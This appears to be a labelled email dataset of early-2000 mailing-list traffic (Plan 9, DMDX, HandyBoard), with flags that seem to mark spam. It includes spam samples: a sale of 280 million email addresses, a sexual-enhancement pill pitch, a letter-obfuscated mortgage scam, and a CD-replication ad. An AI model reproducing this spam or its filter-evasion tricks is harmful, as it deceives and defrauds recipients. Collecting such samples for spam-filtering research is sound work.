okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Tue, 29 Feb 2000 12:26:49 +0900",[9fans] Re: Japanese Support?,"Well, I'm in trouble to post news from our Univ temporally (be avle to read though). Then, I post my response to this mailing-list. >any convinient applications for japanese text processing. I wrote many emails and an article of 50Kbytes long by acme and ktrans. I have no problem to write those. I recommend acme rather than sam to write long Japanese text. You can find all the neccessarry patches for Japanese text processing in our web page (http://basalt.cias.osakafu-u.ac.jp/plan9/p9index.html). Good luck Kenji ",0,1 企业邮件营销网 ,Penelope ,"Tue, 29 Feb 2000 06:37:27 +0800",2.8亿最新邮件地址下载,企业邮件营销网 2.8亿电邮库 助你事业成功 2.8亿最新邮件地址下载+百种营销软件 你好: 2.8亿最新邮件地址下载+百种营销软件，每日定期更新，助你网站推广更轻松，最低价格，最具性价比的网络推广方式。要想网站或产品成名，请立即行动。2.8亿个让你消费的群体，商机无限。 网址: http://www.mail668.com 　 rtf file and saw the bugger \\langfe all over the place. I must explain that one reason I keep encountering this problem is that I can't be there when much of the editing is done, and the person who is doing the entering (going in and substituting Chinese for the instructiond and stimuli in a good-running English version) is well-versed in Word but not WordPad, which is a bit less friendly. anyway I'm now getting very close to a workable Chinese version so any help would be appreciated. Jerry At 04:36 PM 4/12/00 -0500, you wrote: >> 3/ Try saving it as a Word document (.doc file), close Word, re-open >>Word and then save it as an .rtf file and see if the <\\nowidctlpar> tags go >>away. Usually I'd recommend saving it as DOS text file but if you've got >>chinese in there that's unlikely to be an option. > >I tried this one and it worked for the <\\nowidctlpar> tag. It turns out, >however, that most of my problem is being caused by a persistent >unsupported <\\-> tag (a dash), resulting from some sort of instability with >the Chinese character generating program ('TwinBridge') when it runs in >WordPad. I don't think it would help to include it so DMDX understands it, >however, because when the instability crops up it messes up the character >it appears in in any case. > >thanks for your help, > >Jerry > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >",0,1 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:31:11 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- Subject: Re: [9fans] Video card problem.. References: In-Reply-To: X-loop: root@localhost >I have made progress. I was intsalling from 1st edition CD, with 2nd >edition it does install correctly from CD. Now I want to get a better >GUI. The card in the PC is: >ATI 3D Charger IIC/4Mb RAM >card documentation says that it can do dotclock to 80MHz >ramdac is ""3D Rage II"" at 170Mhz >aux/vga finds a string at >0xC0085=""ATI MACH64 BIOS P/N 113-40606-112"" >link=vga >ctrl=mach64 >if I use the above three lines in /lib/vgadb the screen goes blank and >stays blank. >Any pointers? >- ishwar",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:31:06 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- Subject: Re: [9fans] Video card problem.. References: <200004131550.LAA10046@cse.psu.edu> In-Reply-To: <200004131550.LAA10046@cse.psu.edu> X-loop: root@localhost >If the card is a fairly recent ATI Rage-based one then the 'mach64' code >in the Plan 9 CD distribution won't handle it. We probably have code to do it >but it would require so much extra stuff it would be best to wait for it >to be bundled up somehow. I believe others in the Plan 9 community have Rage >cards working, perhaps someone else can help. >If you look in the BIOS for another ""MACH64xx"" string near 0xC00F0 the two >letters 'xx' would let me know if it is supported or not. >--jim",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:31:09 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- Subject: Re: [9fans] The Disc Company could save you money on your cd's replication References: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> In-Reply-To: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> X-loop: root@localhost >This is a multi-part message in MIME format. >------=_NextPart_000_008A_01BF95AE.5869CC80 >Content-Type: text/plain; > charset=""iso-8859-1"" >Content-Transfer-Encoding: quoted-printable >Hello we are contacting you to let you know about our compact disc = >replication company. We have great pricing and friendly service if we = >can be of service check out our website at WWW.thedisccompany.com or = >give us a call at 1-877-479-1009. If you want a quote you can email you = >needs to sales@thedisccompany.com and one of our courteous staff will = >assist you. >Services: >Compact disc replication >Tapes >Posters >Printed Literature >Bulk CDR >Fulfillment services >Mastering (in-house studio) >Thanks and have a great day. >------=_NextPart_000_008A_01BF95AE.5869CC80 >Content-Type: text/html; > charset=""iso-8859-1"" >Content-Transfer-Encoding: quoted-printable > > >http-equiv=3DContent-Type> > > > > > >Hello we are contacting you to let you know about our compact disc=20 >replication company. We have great pricing and friendly service if we = >can be of=20 >service check out our website at href=3D""http://WWW.thedisccompany.com/"">size=3D2>WWW.thedisccompany.com or give us a = >call at=20 >1-877-479-1009. If you want a quote you can email you needs to href=3D""mailto:sales@thedisccompany.com"">size=3D2>sales@thedisccompany.com and one of = >our courteous=20 >staff will assist you. > >Services: >Compact disc replication >Tapes >Posters >Printed Literature >Bulk CDR >Fulfillment services >Mastering (in-house studio) >Thanks and have a great day. >------=_NextPart_000_008A_01BF95AE.5869CC80--",1,1 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:31:04 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- Subject: Re: [9fans] Video card problem.. References: <200004131425.KAA22193@smtp2.fas.harvard.edu> In-Reply-To: <200004131425.KAA22193@smtp2.fas.harvard.edu> X-loop: root@localhost > aux/vga finds a string at > 0xC0085=""ATI MACH64 BIOS P/N 113-40606-112"" > link=vga > ctrl=mach64 >Did you add those lines? I don't see them >in the vgadb on the CD. Adding support for >a new card usually consists of more than just adding >the entry to the database -- unfortunately all >Mach 64s are not the same. Sadly the card is >probably just not supported. >Russ",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:31:18 -0200",,<<< No Message Collected >>>,0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:44:31 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132131.TAA04646@localhost.localdomain> In-Reply-To: <200004132131.TAA04646@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >Subject: Re: [9fans] Video card problem.. >References: >In-Reply-To: >X-loop: root@localhost >>I have made progress. I was intsalling from 1st edition CD, with 2nd >>edition it does install correctly from CD. Now I want to get a better >>GUI. The card in the PC is: >>ATI 3D Charger IIC/4Mb RAM >>card documentation says that it can do dotclock to 80MHz >>ramdac is ""3D Rage II"" at 170Mhz >>aux/vga finds a string at >>0xC0085=""ATI MACH64 BIOS P/N 113-40606-112"" >>link=vga >>ctrl=mach64 >>if I use the above three lines in /lib/vgadb the screen goes blank and >>stays blank. >>Any pointers? >>- ishwar",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:44:32 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132131.TAA04621@localhost.localdomain> In-Reply-To: <200004132131.TAA04621@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >Subject: Re: [9fans] Video card problem.. >References: <200004131550.LAA10046@cse.psu.edu> >In-Reply-To: <200004131550.LAA10046@cse.psu.edu> >X-loop: root@localhost >>If the card is a fairly recent ATI Rage-based one then the 'mach64' code >>in the Plan 9 CD distribution won't handle it. We probably have code to do it >>but it would require so much extra stuff it would be best to wait for it >>to be bundled up somehow. I believe others in the Plan 9 community have Rage >>cards working, perhaps someone else can help. >>If you look in the BIOS for another ""MACH64xx"" string near 0xC00F0 the two >>letters 'xx' would let me know if it is supported or not. >>--jim",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 19:44:29 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132131.TAA04637@localhost.localdomain> In-Reply-To: <200004132131.TAA04637@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >Subject: Re: [9fans] The Disc Company could save you money on your cd's replication >References: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> >In-Reply-To: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> >X-loop: root@localhost >>This is a multi-part message in MIME format. >>------=_NextPart_000_008A_01BF95AE.5869CC80 >>Content-Type: text/plain; >> charset=""iso-8859-1"" >>Content-Transfer-Encoding: quoted-printable >>Hello we are contacting you to let you know about our compact disc = >>replication company. We have great pricing and friendly service if we = >>can be of service check out our website at WWW.thedisccompany.com or = >>give us a call at 1-877-479-1009. If you want a quote you can email you = >>needs to sales@thedisccompany.com and one of our courteous staff will = >>assist you. >>Services: >>Compact disc replication >>Tapes >>Posters >>Printed Literature >>Bulk CDR >>Fulfillment services >>Mastering (in-house studio) >>Thanks and have a great day. >>------=_NextPart_000_008A_01BF95AE.5869CC80 >>Content-Type: text/html; >> charset=""iso-8859-1"" >>Content-Transfer-Encoding: quoted-printable >> >> >>>http-equiv=3DContent-Type> >> >> >> >> >> >>Hello we are contacting you to let you know about our compact disc=20 >>replication company. We have great pricing and friendly service if we = >>can be of=20 >>service check out our website at >href=3D""http://WWW.thedisccompany.com/"">>size=3D2>WWW.thedisccompany.com or give us a = >>call at=20 >>1-877-479-1009. If you want a quote you can email you needs to >href=3D""mailto:sales@thedisccompany.com"">>size=3D2>sales@thedisccompany.com and one of = >>our courteous=20 >>staff will assist you. >> >>Services: >>Compact disc replication >>Tapes >>Posters >>Printed Literature >>Bulk CDR >>Fulfillment services >>Mastering (in-house studio) >>Thanks and have a great day. >>------=_NextPart_000_008A_01BF95AE.5869CC80--",1,1 glashan ,HandyBoard List ,"Thu, 13 Apr 2000 22:13:39 +0200",Eltec 442-3,"Hi all I just recieved a new Eltec Pyroelectric sensor from acroname and have been messing around with it on my bot. In the booklet it says that the sensor is a Human Motion detector as apposed to a human presence detector. when there is a heat source directly in front of it, it reads 128 from analog(), but the same value is returned when there is absolutely no heat. Does anybody know how i could get get it to tell the difference between heat / no heat?? Thanks Ross ",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 20:24:48 -0200",,Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132131.TAA04671@localhost.localdomain> In-Reply-To: <200004132131.TAA04671@localhost.localdomain> X-loop: root@localhost ><<< No Message Collected >>>,0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 20:24:46 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132131.TAA04614@localhost.localdomain> In-Reply-To: <200004132131.TAA04614@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >Subject: Re: [9fans] Video card problem.. >References: <200004131425.KAA22193@smtp2.fas.harvard.edu> >In-Reply-To: <200004131425.KAA22193@smtp2.fas.harvard.edu> >X-loop: root@localhost >> aux/vga finds a string at >> 0xC0085=""ATI MACH64 BIOS P/N 113-40606-112"" >> link=vga >> ctrl=mach64 >>Did you add those lines? I don't see them >>in the vgadb on the CD. Adding support for >>a new card usually consists of more than just adding >>the entry to the database -- unfortunately all >>Mach 64s are not the same. Sadly the card is >>probably just not supported. >>Russ",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 20:24:53 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132144.TAA04882@localhost.localdomain> In-Reply-To: <200004132144.TAA04882@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >References: <200004132131.TAA04646@localhost.localdomain> >In-Reply-To: <200004132131.TAA04646@localhost.localdomain> >X-loop: root@localhost >>Ups! >>No such user... >>mailto: root@localhost >>---------------------------------- >>-- >>Subject: Re: [9fans] Video card problem.. >>References: >>In-Reply-To: >>X-loop: root@localhost >>>I have made progress. I was intsalling from 1st edition CD, with 2nd >>>edition it does install correctly from CD. Now I want to get a better >>>GUI. The card in the PC is: >>>ATI 3D Charger IIC/4Mb RAM >>>card documentation says that it can do dotclock to 80MHz >>>ramdac is ""3D Rage II"" at 170Mhz >>>aux/vga finds a string at >>>0xC0085=""ATI MACH64 BIOS P/N 113-40606-112"" >>>link=vga >>>ctrl=mach64 >>>if I use the above three lines in /lib/vgadb the screen goes blank and >>>stays blank. >>>Any pointers? >>>- ishwar",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 20:25:06 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132144.TAA04873@localhost.localdomain> In-Reply-To: <200004132144.TAA04873@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >References: <200004132131.TAA04637@localhost.localdomain> >In-Reply-To: <200004132131.TAA04637@localhost.localdomain> >X-loop: root@localhost >>Ups! >>No such user... >>mailto: root@localhost >>---------------------------------- >>-- >>Subject: Re: [9fans] The Disc Company could save you money on your cd's replication >>References: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> >>In-Reply-To: <008d01bf95e0$ae46c630$2bcfe4ce@freent.com> >>X-loop: root@localhost >>>This is a multi-part message in MIME format. >>>------=_NextPart_000_008A_01BF95AE.5869CC80 >>>Content-Type: text/plain; >>> charset=""iso-8859-1"" >>>Content-Transfer-Encoding: quoted-printable >>>Hello we are contacting you to let you know about our compact disc = >>>replication company. We have great pricing and friendly service if we = >>>can be of service check out our website at WWW.thedisccompany.com or = >>>give us a call at 1-877-479-1009. If you want a quote you can email you = >>>needs to sales@thedisccompany.com and one of our courteous staff will = >>>assist you. >>>Services: >>>Compact disc replication >>>Tapes >>>Posters >>>Printed Literature >>>Bulk CDR >>>Fulfillment services >>>Mastering (in-house studio) >>>Thanks and have a great day. >>>------=_NextPart_000_008A_01BF95AE.5869CC80 >>>Content-Type: text/html; >>> charset=""iso-8859-1"" >>>Content-Transfer-Encoding: quoted-printable >>> >>> >>>>>http-equiv=3DContent-Type> >>> >>> >>> >>> >>> >>>Hello we are contacting you to let you know about our compact disc=20 >>>replication company. We have great pricing and friendly service if we = >>>can be of=20 >>>service check out our website at >>href=3D""http://WWW.thedisccompany.com/"">>>size=3D2>WWW.thedisccompany.com or give us a = >>>call at=20 >>>1-877-479-1009. If you want a quote you can email you needs to >>href=3D""mailto:sales@thedisccompany.com"">>>size=3D2>sales@thedisccompany.com and one of = >>>our courteous=20 >>>staff will assist you. >>> >>>Services: >>>Compact disc replication >>>Tapes >>>Posters >>>Printed Literature >>>Bulk CDR >>>Fulfillment services >>>Mastering (in-house studio) >>>Thanks and have a great day. >>>------=_NextPart_000_008A_01BF95AE.5869CC80--",1,1 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 20:24:58 -0200",,"Ups! No such user... mailto: root@localhost ---------------------------------- -- References: <200004132144.TAA04891@localhost.localdomain> In-Reply-To: <200004132144.TAA04891@localhost.localdomain> X-loop: root@localhost >Ups! >No such user... >mailto: root@localhost >---------------------------------- >-- >References: <200004132131.TAA04621@localhost.localdomain> >In-Reply-To: <200004132131.TAA04621@localhost.localdomain> >X-loop: root@localhost >>Ups! >>No such user... >>mailto: root@localhost >>---------------------------------- >>-- >>Subject: Re: [9fans] Video card problem.. >>References: <200004131550.LAA10046@cse.psu.edu> >>In-Reply-To: <200004131550.LAA10046@cse.psu.edu> >>X-loop: root@localhost >>>If the card is a fairly recent ATI Rage-based one then the 'mach64' code >>>in the Plan 9 CD distribution won't handle it. We probably have code to do it >>>but it would require so much extra stuff it would be best to wait for it >>>to be bundled up somehow. I believe others in the Plan 9 community have Rage >>>cards working, perhaps someone else can help. >>>If you look in the BIOS for another ""MACH64xx"" string near 0xC00F0 the two >>>letters 'xx' would let me know if it is supported or not. >>>--jim",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 17:11:01 -0400",[9fans] administrivia,"We've stopped accepting messages from 194.247.215.232 for the time being. That should stop the apparent loop. I have no idea which subscriber (if any) is connected to that address. ",0,0 root ,9fans@cse.psu.edu,"Thu, 13 Apr 2000 21:25:30 -0200",,Ups! No such user... mailto: root@localhost ---------------------------------- -- Subject: Re: [9fans] administrivia References: <20000413211101.6535.qmail@g.bio.cse.psu.edu> In-Reply-To: <20000413211101.6535.qmail@g.bio.cse.psu.edu> X-loop: root@localhost >We've stopped accepting messages from 194.247.215.232 for the >time being. That should stop the apparent loop. I have no >idea which subscriber (if any) is connected to that address.,0,0 Eric Noyau ,HandyBoard List ,"Thu, 13 Apr 2000 14:41:46 -0700",Re: Eltec 442-3,"At 01:13 PM 4/13/2000, you wrote: >Hi all > >I just recieved a new Eltec Pyroelectric sensor from acroname and have been >messing around with it on my bot. >In the booklet it says that the sensor is a Human Motion detector as apposed >to a human presence detector. >when there is a heat source directly in front of it, it reads 128 from >analog(), but the same value is returned when there is absolutely no heat. > >Does anybody know how i could get get it to tell the difference between heat >/ no heat?? Move the sensor, or the bot. If you sweep right to left you will detect the heat in front of you. -- Eric ",0,0 l-neary@ux1.cso.uiuc.edu,DMDX@psy1.psych.arizona.edu,"Thu, 13 Apr 2000 20:08:38 -0500",[DMDX] Missing line number,"Hi, I keep receiving the following message in DMDX: Missing line number <$0 ""Welcome to this experiment""> I have determined that the $ symbol is the culprit (when removed the file runs just fine). However, I can not find a $ symbol that DMDX will read. I have tried a number of different fonts, I have re-typed the file, I have copied $ symbols that I've written as .doc or in WordPad, and I continue to receive the same message. Does anyone have any suggestions? Thanks. Louise Neary UIUC --------------------------------------------- Ms. L. Neary Coordinator, Spanish 160 Department of Spanish, Italian and Portuguese ---------------------------------------------",0,0 Will Bain ,Handyboard Mailing List ,"Thu, 13 Apr 2000 16:58:34 -0600",Re: Eltec 442-3,"glashan wrote: > > Hi all > > I just recieved a new Eltec Pyroelectric sensor from acroname and have been > messing around with it on my bot. > In the booklet it says that the sensor is a Human Motion detector as apposed > to a human presence detector. > when there is a heat source directly in front of it, it reads 128 from > analog(), but the same value is returned when there is absolutely no heat. > > Does anybody know how i could get get it to tell the difference between heat > / no heat?? > > Thanks > > Ross Perhaps you could waggle it back & forth (on a servo or something) to simulate motion. -- Will +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ The difference between reality and fiction? Fiction has to make sense. -- Tom Clancy",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Thu, 13 Apr 2000 19:23:25 -0700",DC motor question,"Hi, I am using DC Motors for the first time (previously used stepper motors) and have been experiencing difficulties when first powering on the handyboard. When I first turn on the power, occasionally the motors start up at full speed for no apparent reason. This happens about every third time I power on. I am wondering if this is caused by some kind of motor/handyboard interference, and if putting a filter cap across the leads of the motors will help. (and if so, what size/type of capacitor?) Can anybody help me shed some light on this? it's really causing some problems, as I am using plastic gears and they tend to break at full throttle. Thanks, -patrick ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Fri, 14 Apr 2000 03:05:36 +0000",Re: DC motor question,"In lugnet.robotics.handyboard, ""Patrick Cutts"" writes: >Hi, >I am using DC Motors for the first time (previously used stepper motors) and >have been experiencing difficulties when first powering on the handyboard. [snip] >I am wondering if this is caused by some kind of motor/handyboard >interference, and if putting a filter cap across the leads of the motors >will help. (and if so, what size/type of capacitor?) Bingo. Put .1uf caps (rated at least 4X your max voltage) from the (+) pole to the can, from the (-) pole to the can and from the (+) to the (-) pole. Keep your leads as short as possible. Put a big cap (1000uf+) on the power supply TO your motor contoller, this will help reduce sags on the main power line to your HB regulator (if you use the same power line.) You will probably have to file a spot on the can to solder to and you WILL need a strong soldering iron. This should help. DLC",0,0 Tracey ,'Myra' ,"Fri, 14 Apr 2000 02:28:27 +0200",Sperm pill that works ," Hi friend: We have quality product to help you Enjoy better sex life. All products come with 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... cassiopeiag7890hjfdefshsajksa ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Apr 2000 09:24:05 -0700",[DMDX] Re: more RTF control word problems,"At 04:45 PM 4/13/00 -0500, you wrote: >Sorry to trouble the list with more control word problems, but now the >offending control word is \\langfe. Are your sure? I can't find any reference to langfe at all, anywhere. >I tried what worked previously (save as Word x.doc, shut off and reopen and >save as rtf) and it didn't work this time. I went into DOS to look at the >doc--> rtf file and saw the bugger \\langfe all over the place. > >I must explain that one reason I keep encountering this problem is that I >can't be there when much of the editing is done, and the person who is >doing the entering (going in and substituting Chinese for the instructiond >and stimuli in a good-running English version) is well-versed in Word but >not WordPad, which is a bit less friendly. > >anyway I'm now getting very close to a workable Chinese version so any help >would be appreciated. Well this person certainly wins the award for doing needless things that break DMDX. To remove a keyword from the file open the .RTF file in a text editor and replace all occurrences of the keyword followed by a space with nothing and then just the keyword with nothing, for instance, ""\\langfe "" with """" and then ""\\langfe"" with """". It's important to do the first search and replace before the second one. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a device that insures we shall be governed no better than we deserve. - George Bernard Shaw ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Apr 2000 09:46:43 -0700",[DMDX] Re: more RTF control word problems,"At 09:24 AM 4/14/00 -0700, you wrote: > Are you sure? I can't find any reference to langfe at all, anywhere. Oh, I get it, it's a \\langN, \\lang followed by the hex number 0xFE. Still doesn't help I don't see 0xFE in the table. Tell your assistant not to be specifying the language, ok? Not sure what to do with \\langfe if it keeps cropping up (at least as far as the code is concerned), numeric parameters have to start with a numeric character in order for me to be able to determine that the control word has ended and I can go check it against known words (like \\lanf0fe), correctly parsing \\langfe would be a nightmare. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a device that insures we shall be governed no better than we deserve. - George Bernard Shaw ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Apr 2000 12:16:56 -0700",[DMDX] 1.2.03," Ok, so there's a new DMDX that's immune to the 15 or so control words that Jerry Packard's assistant managed to introduce into his Chinese RTF item file for him. This might not be the end of it, my syntax check of his item file stops due to a missing frame separator. At some time in the future I'll make DMDX just ignore all RTF control words that it doesn't understand, the reason it doesn't do so now is that in developing the thing it was impossible to determine ahead of time the control words that were necessary to know about. Given the fact that we're a year or two down the road it might be safe enough to start ignoring everything else, of course doing so opens a pandora's box of inexplicable display behavior so I'll probably have to generate a report of skipped control words (which is why I'm not just sticking the ability in there). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing recedes like success. - Walter Winchell ",0,0 Bill Gunshannon ,9fans@cse.psu.edu,"Fri, 14 Apr 2000 16:19:30 +0000",Re: [9fans] VNC viewer [was VMWare],"In article , miller@hamnavoe.demon.co.uk writes: |> forsyth@vitanuova.com said: |> |> > i can put it on my plan 9 software page if you like. |> |> Thanks, but for now I'd prefer to keep track of who has a copy. |> If enough people find it useful, I may make the improvements |> hinted at in an earlier message. |> I have always found it useful on both UNIX and windows systems. I can't see how it could possibly be less useful with Plan9. I think this summer I need to find the time to get my Plan9 lab up and running again. I still want to fix the stuff that didn't work with the Sparc SCSI controller. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.uofs.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include",0,0 Ish Rattan ,9fans@cse.psu.edu,"Fri, 14 Apr 2000 16:18:57 +0000",Re: [9fans] Video card problem..,"jmk@plan9.bell-labs.com wrote: > If the card is a fairly recent ATI Rage-based one then the 'mach64' code > in the Plan 9 CD distribution won't handle it. We probably have code to do it > but it would require so much extra stuff it would be best to wait for it > to be bundled up somehow. I believe others in the Plan 9 community have Rage > cards working, perhaps someone else can help. > > If you look in the BIOS for another ""MACH64xx"" string near 0xC00F0 the two > letters 'xx' would let me know if it is supported or not. > At 0xC00F0 ""CI"" Starting at 0xC00E7 ""MACH64GVPCIMTHPV"" - ishwar ",0,0 Joe Kopena ,handyboard@media.mit.edu,"Fri, 14 Apr 2000 16:48:11 +0000",Sonar Pictures?,"Does anyone have pictures of their sonar assembly online that I could look at, just to make sure everything is where it should be? My sonar is still hovering around one reading (today it's 1300, the other day it was 700) no matter where an obstacle is. Putting a capcitor at the C7 position didn't seem to help. Thx ",0,0 Jerry Packard ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Apr 2000 15:19:22 -0500",[DMDX] Re: 1.2.03,"wow, thanksabunch. I'll jump right on it. sorry to cause so much trouble! jerry At 12:16 PM 4/14/00 -0700, you wrote: > > Ok, so there's a new DMDX that's immune to the 15 or so control words >that Jerry Packard's assistant managed to introduce into his Chinese RTF >item file for him. This might not be the end of it, my syntax check of his >item file stops due to a missing frame separator. At some time in the >future I'll make DMDX just ignore all RTF control words that it doesn't >understand, the reason it doesn't do so now is that in developing the thing >it was impossible to determine ahead of time the control words that were >necessary to know about. Given the fact that we're a year or two down the >road it might be safe enough to start ignoring everything else, of course >doing so opens a pandora's box of inexplicable display behavior so I'll >probably have to generate a report of skipped control words (which is why >I'm not just sticking the ability in there). > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Nothing recedes like success. > > - Walter Winchell > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > ",0,1 James Munro ,Joe Kopena ,"Fri, 14 Apr 2000 13:10:25 -0500",Re: Sonar Pictures?,"> Does anyone have pictures of their sonar assembly online that I could look at, > just to make sure everything is where it should be? My sonar is still hovering Try this picture: http://www.mech.utah.edu/~me3200/proj98/r2/sonar.jpg This shows the cap soldered in and pretty much hooked up. Hope this helps -Jim Munro",0,1 Ish Rattan ,9fans@cse.psu.edu,"Fri, 14 Apr 2000 15:42:28 -0400",[9fans] Network help..,"Hello, I am trying to get back to Plan9 (2nd edition). I have been able to install the CD to a standalone PC with LAN connection. The card is correctly recognized (ne2000/0x300/10). I want this box to talk to other machines on LAN (UNIX boxes), and would appreciate the steps to achieve this. I know that it needs: ip-address netmask dns? gateway-addr protocol? but in what files does the info go? I put entries in /lib/ndb/local ip=141.xxx.xxx.xxx ether=0040095E21234 sys=abcd netmask=255.255.xxx.xxx dom=abcd.cps.cmich.edu ipgw=xxx.xxx.xxx.xxx (dns in the dept) proto=tcp but does not seem to do anything. Is there a howto document on this? - ishwar ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Apr 2000 16:35:56 -0700",[DMDX] $," No one going to step and help with the scramble $ problem? Just to set the record straight, I am not going to answer those sorts of queries, I will answer queries that I deem no one else could answer and that's it, run of the mill stuff can get answered by others. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing recedes like success. - Walter Winchell ",0,0 Alexander Baylor ,9fans@cse.psu.edu,"Fri, 14 Apr 2000 10:33:45 -0700",Re: toxyt news,"D x ear Home O d wne f r , Your c c red d it doesn't matter to us ! If you OW u N real e o st n at g e and want IM i ME t DIAT f E cas p h to s d pen v d ANY way you like, or simply wish to L l OWER your monthly pa h ym v ents by a third or more, here are the dea e ls we have T s OD y AY : $ 48 w 8 , 000 at a 3 s , 67% f j ixed - ra k te $ 37 w 2 , 000 at a 3 , 9 s 0% v i aria e ble - ra q te $ 4 a 92 , 000 at a 3 k , 21% int v ere a st - only $ 2 d 48 , 000 at a 3 a , 36% fi x xed - rat s e $ 1 d 98 , 000 at a 3 , 5 e 5% varia r ble - ra i te Hurr o y, when these d d eaIs are gone, they are gone ! Don't worry about app d ro o val, your c v redi j t will not d e isqualif j y you ! V m isi f t our si j te Sincerely, Alexander Baylor Ap v prova q l Manager",1,1 Kam Leang ,Joe Kopena ,"Fri, 14 Apr 2000 19:24:59 -0600",Re: Sonar Pictures?,"Joe! Here's another pic of the sonar interface to the HB. Note that there are two ways to connect the sonar to the HB. One approach is to use the control lines to the L293 motor driver chip and the other is the SPI port. I've included both. Note that you have to have the appropriate driver files for each. The pic is posted at: http://www.leang.com/robotics/info/circuits/psonar/sonar.jpg I hope the image quality is acceptable. Let me know if there are any questions. -kam http://www.leang.com/kam On Fri, 14 Apr 2000, Joe Kopena wrote: > Does anyone have pictures of their sonar assembly online that I could look at, > just to make sure everything is where it should be? My sonar is still hovering > around one reading (today it's 1300, the other day it was 700) no matter where > an obstacle is. Putting a capcitor at the C7 position didn't seem to help. > > Thx > ______ ______ --------------------------------------- |_ _| |_ _| Kam Leang | |______| |______ University of Utah | |_ _| |_ _| Department of Mechanical Engineering | | | | | | | | MEB Room 2202 Salt Lake City, UT 84112 | |_|__|_| | | | Tel.801.581.7105 Fax.801.585.9825 \\ ___________/ | | http://www.leang.com/kam | |______| | ---------------------------------------------- \\ ___________/ ",0,1 Ray Tang ,handyboard@media.mit.edu,"Sat, 15 Apr 2000 03:26:20 +0000",Re: About HAndy board and PIC,"Hi, Sorry for taking me so long to reply... I was busy working on projects... Actually, I am not a good person to ask all these questions. I am also just getting started on this.... I want to first refer you to another site: http://robotics.dhs.org/. This page contains some of the programming info for PIC. He also has built an PIC programmer. You might want to E-mail him to obtain the design so it will lower the cost of buying a programmer. I purchased a programmer (and it is not here yet because it is on backorder) from DigiKey with University Discount. It costs $199.99, but with discount, it is at $149.99, plus shipping. The Eraser is about $40 (don't remember the exact cost). I am planning on programming a 6 leg (may 